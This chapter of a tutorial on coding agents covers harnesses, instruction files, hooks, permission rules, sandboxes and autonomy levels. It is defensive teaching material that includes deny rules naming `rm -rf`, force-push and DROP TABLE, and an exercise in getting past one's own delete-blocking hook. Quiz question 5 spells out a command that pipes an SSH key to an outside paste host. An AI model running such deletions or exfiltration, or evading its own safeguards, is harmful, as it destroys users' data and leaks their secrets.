Chapter 6 of 18

The agent

A model plus a loop plus tools. Everything around the model is the harness, and that part is yours.

A model has no hands. It reads tokens and predicts more of them, and when it asks for a tool, all it has done is write some text. Something else has to read that text, run the tool, hand back the result and ask again. That something, and the loop it runs, is what turns a model into an agent.

Everything around the model is called the harness: the instructions it starts with, the tools it can call, the permissions that stop it, the hooks that run whether it likes them or not, the sandbox around its commands. You can't retrain the model. Nearly all the rest is yours to set, so that is where this chapter spends its time.

The same ideas now exist in Claude Code, Codex and Cursor under slightly different names and files, so we say which tool does what. We read the tool behaviour here in the vendors' docs on 5 November 2026 (Claude Code v2.1.318, Cursor 3.6 and later). These products change monthly. Check before you quote a detail in an interview.

This chapter also draws the line the site exists to teach. Vibe coding and agentic engineering use the same tools and the same models. What differs is what you check, and whether you could defend the result. Both are legitimate. They are for different jobs.

Agent

Also called AI agent

A model, a loop and some tools. The model asks for a tool, a program runs it and hands back the result, and this repeats until the model says it has finished.

The loop is what changes your job. A chat reply is one answer you can read before anything happens. An agent takes many actions before you look, so your attention moves from what it said to what it did.

Say it to your agent

“Work on this as an agent, not a chat. Run bun test yourself, read the failures, fix them, and keep going until it exits 0. Do not paste code for me to apply.”

The loop fits in a few lines of ordinary code, and most of what surprises people about agents comes from it.

Agent loop

Also called Agentic loop, Tool loop

The cycle inside every agent: send the context to the model, read its reply, run any tools it asked for, add the results to the context, and send it all again. It ends when the model stops asking for tools.

The whole context goes back on every turn, so it only grows, and a wrong assumption from turn two is still being read on turn twenty. Slow late turns, rising cost, and an agent stuck on an early mistake all come from this.

Say it to your agent

“Before you edit anything, tell me the next three tool calls you expect to make and what result would change your mind. If you have made 10 tool calls without a passing test, stop and tell me where you are.”

So the model is one part of an agent. The rest has a name.

Harness

Also called Agent harness, Agentic harness

Everything in an agent except the model: the loop, the tools, the instructions, the permissions, the hooks, the sandbox. It decides what the model sees and what happens to what it asks for.

You can't change how the model thinks, but you can change nearly everything it sees and can do. The same model in a different harness does different work, and the harness is the only part of that you own.

Say it to your agent

“Don't just fix this. Tell me which part of our setup let it through: an instruction that was missing, a check that doesn't exist, or a permission that is too wide. Then propose one change to that part.”

Tool

A function the harness offers the model, described by a name, a purpose and the inputs it takes. The model can only write a request to use it. The harness checks the request, runs the function and returns the result.

Tools set the limit of what an agent can do, and their output is how it learns what happened. An error that names the fix makes it better without touching the model. A 5,000-line dump makes it worse and costs you for the privilege.

Say it to your agent

“Write a search_orders tool with inputs customer_id (string) and status (open or shipped). Return at most 20 rows. If customer_id is missing, the error must say what to pass, not just "invalid input".”

Coding agent

An agent whose tools can read and edit files and run commands, so it can write code, run it, see what broke and try again. Claude Code, Codex and Cursor's agent are coding agents.

Running what it wrote is the difference. Chat hands you code you have to test yourself. A coding agent can run it, which means a check you set up can reach the agent while you are somewhere else. Everything in chapter 9 depends on this.

Say it to your agent

“Start the server with bun run dev, curl localhost:3000/api/health, and paste the response. Don't tell me it works until you have run it.”

Now the distinction this whole site exists to teach. Same tools, same models. The difference is what you do with the result.

Vibe coding

Building with a model and not reading the code it writes. You accept every change, paste errors back in, and judge only by whether it seems to work. It describes how you work, not which tool you use, and it is fine for throwaway projects.

Agents make it easy to go far past the point where you understand the code, and it feels the same all the way. So ask what happens if this is wrong. For a weekend toy, nothing: vibe code it and enjoy the afternoon. For anything holding other people's data, that answer changes.

Say it to your agent

“This is a throwaway demo for Saturday and it touches no real data, so don't stop to explain and I won't read the diffs. If we decide to keep it, we stop there and write tests first.”

Agentic engineering

Also called Vibe engineering, Augmented coding

Building software with coding agents while staying answerable for the result. You set the goal, decide what the checks are, and can explain what shipped. The agent types, and you are still the engineer.

This is what an employer pays for and what a sceptic will test. Typing stopped being scarce. Knowing what to build, and being able to prove it works, did not. Agents make the gap between the two people much wider, because the output looks alike until something breaks.

Say it to your agent

“Before you start, write the acceptance checks for this change in docs/plan.md. When you finish, show me the diff, the test output and anything you are unsure about. I will read it, because I have to be able to explain it.”

An agent starts each session knowing nothing about your project. The first part of the harness you own is the file it reads first.

AGENTS.md and CLAUDE.md

Also called Instructions file, Memory file

A plain text file in your repo that the agent loads when it starts: build commands, a map of the code, things not to do. AGENTS.md is the name shared across tools. CLAUDE.md is Claude Code's own.

It goes into the context of every request, and it is only advice. Claude Code's docs say these files are "context, not enforced configuration". So short and specific beats long and thorough, and anything that must always hold belongs in a hook or a deny rule, both coming shortly.

Say it to your agent

“Add to AGENTS.md: "Run bun run typecheck and bun test before saying you are done. All database access goes through src/db/; copy src/db/users.ts." Keep the file under 100 lines, and delete anything you could work out by reading the code.”

Rules file

Also called Cursor rules, Path-scoped rules

Instructions that load only when they apply, usually when the agent touches certain files. A rule for database code stays out of the context until the agent opens database code.

One big instructions file is paid for on every request, even when a tenth of it matters. Scoped rules keep that file short. The risk is the opposite one: if the agent never opens a matching file, it never sees the rule.

Say it to your agent

“Move the SQL conventions out of AGENTS.md into .cursor/rules/sql.mdc with globs: src/db/**. Then open src/db/users.ts and confirm the rule attached.”

Instructions that always load are expensive. Skills are how you keep a procedure on the shelf until it is needed.

Skill

Also called Agent Skill, SKILL.md

A folder holding a SKILL.md file: a name, a one-line description and steps to follow, sometimes with scripts beside it. Only the name and description load at first. The agent reads the rest when the description matches what it is doing.

You can keep fifty procedures available for roughly the price of fifty one-liners. That makes the description the part that matters most: write it vaguely and the skill never fires, and you will think the agent ignored you.

Say it to your agent

“Turn our release steps into a skill at .claude/skills/release/SKILL.md. Description: "Use when cutting a release or bumping the version." Keep it under 100 lines and put the changelog script next to it.”

Slash command

A word starting with / that you type to make the harness do something right now: clear the context, switch mode, or run a saved prompt. You type it, not the agent.

It turns a long instruction you repeat into one word, so the careful version becomes the easy version. If you type the same review prompt every day, it should be a command the whole team shares.

Say it to your agent

“Make a /review-diff command in .claude/commands/review-diff.md. It runs git diff main, and for each changed file says what could break, with the line number. Commit it so the team gets it.”

Everything so far has been advice the model can ignore. A hook is where the harness stops asking.

Hook

Also called Agent hook, PreToolUse hook

A script the harness runs at a set moment, such as just before a tool runs or when the agent tries to stop. It can block the action. The model has no say in whether it runs.

A line in AGENTS.md saying "never run rm -rf" can be ignored. A hook that blocks it can't, as long as the hook recognises the command. A script looking for rm -rf will wave through rm -r -f, and in Claude Code, by default, the only exit code that blocks is 2.

Say it to your agent

“Add a PreToolUse hook on Bash in .claude/settings.json. It reads tool_input.command from stdin and exits 2, with the reason on stderr, if the command is rm with both -r and -f in any form. Test it on rm -rf, rm -r -f and rm -fr.”

Hooks guard the loop. Subagents split it.

Subagent

Also called Sub-agent

A second agent the main one starts for a side job. It gets its own context window and its own instructions, and hands back a summary. The thousands of lines it read never enter the main conversation.

Searching and reading are noisy, and a subagent keeps that noise away from the agent doing the real work. A fresh one also hasn't seen the reasoning it is checking. The cost: it starts knowing nothing, so your brief to it is all it has.

Say it to your agent

“Use a subagent to find every place we read the session cookie. It must return only a list of file:line with one sentence each, not the files. I don't want its search results in this conversation.”

MCP

Also called Model Context Protocol

Model Context Protocol: a standard way for an agent to use tools that live outside it. A server offers tools such as "search issues", and any agent that speaks the protocol can list and call them.

One integration works across every agent, so you don't rebuild the link to, say, your bug tracker for each one. But each tool definition costs tokens on every request, and a server's tools run real code. Treat installing one like adding a dependency that has your agent's access.

Say it to your agent

“Connect our issue tracker as an MCP server in .mcp.json. List every tool it exposes with its description in full, tell me how many tokens the definitions add to each request, and remove any tool we won't use.”

Code registry

Also called shadcn registry, Copy-in registry

A list of code you can pull into your repo as files you own, with a command that works out what else each piece needs. You end up with source in your tree that you can edit, and not a dependency someone else updates for you.

An agent can read, change and test code in your repo, which is harder with what sits inside a package. You pay in upkeep: nothing tells you when the original gets a fix, and code you copied without reading is still a stranger's code. Nobody we found has measured whether agents do better this way.

Say it to your agent

“Run bunx shadcn@latest view @acme/login-form, then add it with --dry-run and show me every file it would write and every package it would add. Read those files for network calls and env reads, and tell me what you find. If they are clean, add it, commit it alone, and note the source and date in docs/vendored.md.”

Now the question of what the agent may do without asking, which is where most of the real risk sits.

Permission modes

Also called Approval mode, Run mode, YOLO mode

A setting for how much the agent may do before it has to stop and ask you. Modes run from asking about nearly everything to asking about almost nothing.

With an agent running for an hour you can't read every prompt, so the honest question is which actions you want stopped. Choosing a mode is choosing what you will no longer see. The names mislead too: Claude Code's acceptEdits also approves rm inside your project.

Say it to your agent

“Start in default mode. Add deny rules for Bash(git push *) and Read(./.env), an ask rule for Bash(rm *), and allow rules for Bash(bun test) and Bash(bun run typecheck). Then open /permissions and show me what is there.”

Allowlist

Also called Allow rules, Permission rules

A list of actions the agent may take without asking. Anything not on it still stops for approval. Rules like Bash(bun test) are how you cut prompts without turning them off.

It is the cheap way to fewer prompts, but a pattern allows more than it looks like. Bash(git *) allows git push --force. Rules also match the text of a command, so a deny rule stops the usual spelling and can miss the same program written another way.

Say it to your agent

“Add to permissions.allow: Bash(bun test), Bash(bun run typecheck), Bash(git diff *), Bash(git status). Do not add Bash(git *) or Bash(bun *), because those also allow git push and bun publish.”

Sandbox

Also called Agent sandbox

A boundary enforced by the operating system that limits what a running command can touch: which folders it can write to, which it can read, and where it can connect. It holds even when the agent has been tricked.

Prompts depend on you paying attention, and rules match text. A sandbox doesn't care how a command is spelled, which is what makes long unattended runs reasonable. But read the defaults before you rely on one, because they are not what most people assume.

Say it to your agent

“Turn on the sandbox with /sandbox. Add ~/.ssh and ~/.aws to sandbox.filesystem.denyRead, allow only registry.npmjs.org in sandbox.network.allowedDomains, set allowUnsandboxedCommands to false, then run cat ~/.ssh/config and show me it fails.”

Plan mode

A mode where the agent can read and explore but can't edit your source files. It writes a plan, you read and change it, and only then does the work start.

A wrong plan takes a minute to fix, and a wrong diff can take an hour to unpick. It is also the cheapest moment to find out the agent misunderstood you. People do skip it: Elicit's interviewers report that "Plan-first thinking is rarer than we expected."

Say it to your agent

“/plan Add rate limiting to /api/login. Read the existing middleware first. Give me the files you would change, the test you would write first, and what you are unsure about. Do not edit anything.”

Agent session

Also called Thread, Conversation

One run of an agent from its first message to its last, with its own growing context. When it ends, that context is gone unless you resume it, or the agent wrote something to a file.

An agent doesn't remember yesterday. Whatever a session decided and didn't write into the repo is lost to the next one, so a good session leaves files behind. Keeping to one task per session also keeps one job's clutter out of the next.

Say it to your agent

“Before we finish this session, write what you learned, what is left and the next step to docs/progress.md, and commit it. The next session will start from that file and nothing else.”

Agent memory

Also called Auto memory, Memories

Whatever carries over from one session to the next. There is nothing magic in it: it is files, put back into the context when a session starts. Some you write yourself. Some the tool writes for itself.

Without it, every session pays again to find out what the last one learned. With it, a wrong note gets loaded into every session too, possibly one you have never read. Treat memory like code: look at it, and delete what is wrong.

Say it to your agent

“Show me your auto memory files. Delete anything out of date, and move anything the whole team needs into CLAUDE.md, where it gets reviewed like code.”

All of that assumed you were at the keyboard. Take yourself away and the harness is all that is left.

Headless mode

Also called Print mode, Non-interactive mode

Running an agent with nobody at the keyboard: one command, one prompt, and output a script can read. It is how an agent runs on a schedule, or in continuous integration, the automatic checks on a server that chapter 9 covers.

There is no one to answer a prompt, so whatever would have asked must be decided in advance. Allow too little and the run achieves nothing. Allow too much and nothing is watching. And never trust its final message: have the script run the checks itself.

Say it to your agent

“In CI run: claude -p "Fix the lint errors in src/" --allowedTools "Read,Edit,Bash(bun run lint)" --max-budget-usd 2 --output-format json. Then have the job run bun run lint itself and fail on a non-zero exit, whatever the agent said.”

So how far should you let go? No one can answer that for you, but there is a scale to argue over.

Levels of autonomy

Also called Autonomy slider, The five levels

A scale for how much of the work an agent does before a person looks at it. At one end you approve every line. At the other you write a spec and judge only the result.

Each step up removes a check you were doing, and it is only safe if something else now does that check. People talk about the levels as if higher were better. The honest question is what replaced you at each one.

Say it to your agent

“In this repo you write and I review every diff, except docs/, which you can merge once CI is green. Put that in AGENTS.md. Then tell me which checks would have to exist before I could stop reading src/payments/.”

Human in the loop

Also called Approval prompt, Prompt fatigue

A person has to approve at a chosen point before the work continues. That point could be each command, each plan or each merge.

An approval only counts if it gets read. Ask too often and people click yes without looking, and then there is a human in the loop but no check. A few approvals on things that matter beat fifty on things that don't.

Say it to your agent

“Don't stop to ask about edits or test runs. Do stop and ask me before any git push, any migration, any new dependency, and anything that writes outside this repo. List those back to me before you start.”

The approvals worth keeping are the ones you can't take back.

Destructive actions

Also called Irreversible actions

Anything that can't easily be undone: deleting data, force-pushing, dropping a table, sending an email, spending money. An ordinary mistake gets another attempt. These may not.

An agent is as confident about these as about anything else, and the loop means it can reach one many steps after you stopped watching. So keep the undo out of its reach: commit first, keep a backup it can't delete, and don't give it production credentials.

Say it to your agent

“Add deny rules: Bash(git push --force*), Bash(git push -f*), Bash(git reset --hard*), Bash(*DROP TABLE*). Commit before you start so everything can be restored. You don't get production credentials: use the staging database in .env.staging.”

What the agent can reach

Also called Blast radius of an agent, Agent trust boundary

Everything the agent could touch if it wanted to, or if someone tricked it: your files, your environment variables, your logins, your network. That reach, and not the task you gave it, is the size of what could go wrong.

Anything it reads can contain instructions, and a model can't reliably tell your words from an attacker's. So you judge a setup by its reach. If private data, outside content and a way to send data out are all in one agent, you have a problem whatever the task is.

Say it to your agent

“List everything you can reach from here: environment variable names, which credential files exist, which MCP tools you have, and which hosts you can connect to. Print names only, never values.”

Do it for real

Reading gets you the words. This gets you the experience behind them, and something to show.

Write an instructions file from real failures

A generated file full of general advice is noise. A short file where every line came from something that went wrong is useful, and also shows an interviewer how you work.

  1. In a real project, go through your last few agent sessions and write down each correction you made more than once.
  2. Create AGENTS.md, with a CLAUDE.md holding @AGENTS.md if you use Claude Code. Add the exact build and test commands first.
  3. Add one line per correction, in the form "do X, not Y". Delete anything the agent could work out by reading the code.
  4. Start a new session and ask it how to run the tests and what it must not do. If it can't answer correctly, fix the file, not the agent.

Done when: A committed AGENTS.md under 100 lines, where you can name the real failure behind each rule.

Block a destructive command, then try to get past your own block

Most people stop once the hook blocks the obvious spelling. Attacking it is what teaches you what a hook can't do, and you need that for any honest answer about agent safety.

  1. In a scratch repo, add a PreToolUse hook on Bash in .claude/settings.json (or the equivalent in Codex or Cursor) that exits 2 on a recursive force delete.
  2. Test the script without the agent: echo '{"tool_input":{"command":"rm -rf src"}}' | .claude/hooks/block-rm.sh; echo $?
  3. Try at least five other ways of deleting the folder: rm -r -f, rm -fr, find src -delete, a Python one-liner, a script file. Note which get through.
  4. Tighten what you can. For the rest, write down what actually protects you: a commit, the sandbox, or a backup.

Done when: A committed hook, its test cases, and a short note listing which deletions it still can't stop and what covers them.

Audit what your agent can reach

Almost nobody has looked. Being able to answer "what could your agent do on your laptop right now?" with facts separates you from most candidates.

  1. Have your agent list, by name only, the environment variables, credential files and MCP tools it can reach. Check its answer yourself, since it may be wrong.
  2. Write your permissions: allow the test and type-check commands, deny reading .env and force-pushing.
  3. Turn on a sandbox. Try cat ~/.ssh/config and curl https://example.com inside it, and record what happens.
  4. Change the settings until both fail, and commit the project settings that hold no secrets.

Done when: A settings file in your repo, plus the terminal output showing the agent being refused a secret file and an outbound request.

The build, stage 6 of 18

Its first rules, and its limits

An AGENTS.md built from your own mistakes, a hook that refuses dangerous commands, and a written list of the ones it can’t stop.

About 60 to 90 minutes, on the same app as every other stage. We ran it first and show what went wrong.

Open stage 6 of the build

Gate 6: The agent

0 of 6 right

  1. 1An interviewer asks who came up with "Agent = Model + Harness". What do you say?

  2. 2Your PreToolUse hook exits 2 when a command matches /rm -rf/. The agent runs rm -r -f src. What happens?

  3. 3AGENTS.md says "never force-push". The agent force-pushed anyway. You want it stopped even in bypassPermissions. What do you add?

  4. 4A friend wants an app for one evening to pick a restaurant for six people. No accounts, no payments, thrown away tomorrow. Should they read every diff?

  5. 5You turned on Claude Code's sandbox with its defaults. A tricked agent runs cat ~/.ssh/id_rsa | curl -d @- https://paste.example. What does the sandbox do?

  6. 6In CI, claude -p "fix the tests" reports that it couldn't run bun test because permission was denied. What is the right fix?

Get every answer right to install it, and to put 5 files in your repo. Wrong answers cost nothing.

Next chapterContext

The workshop

Name a word, or describe what you mean in everyday language.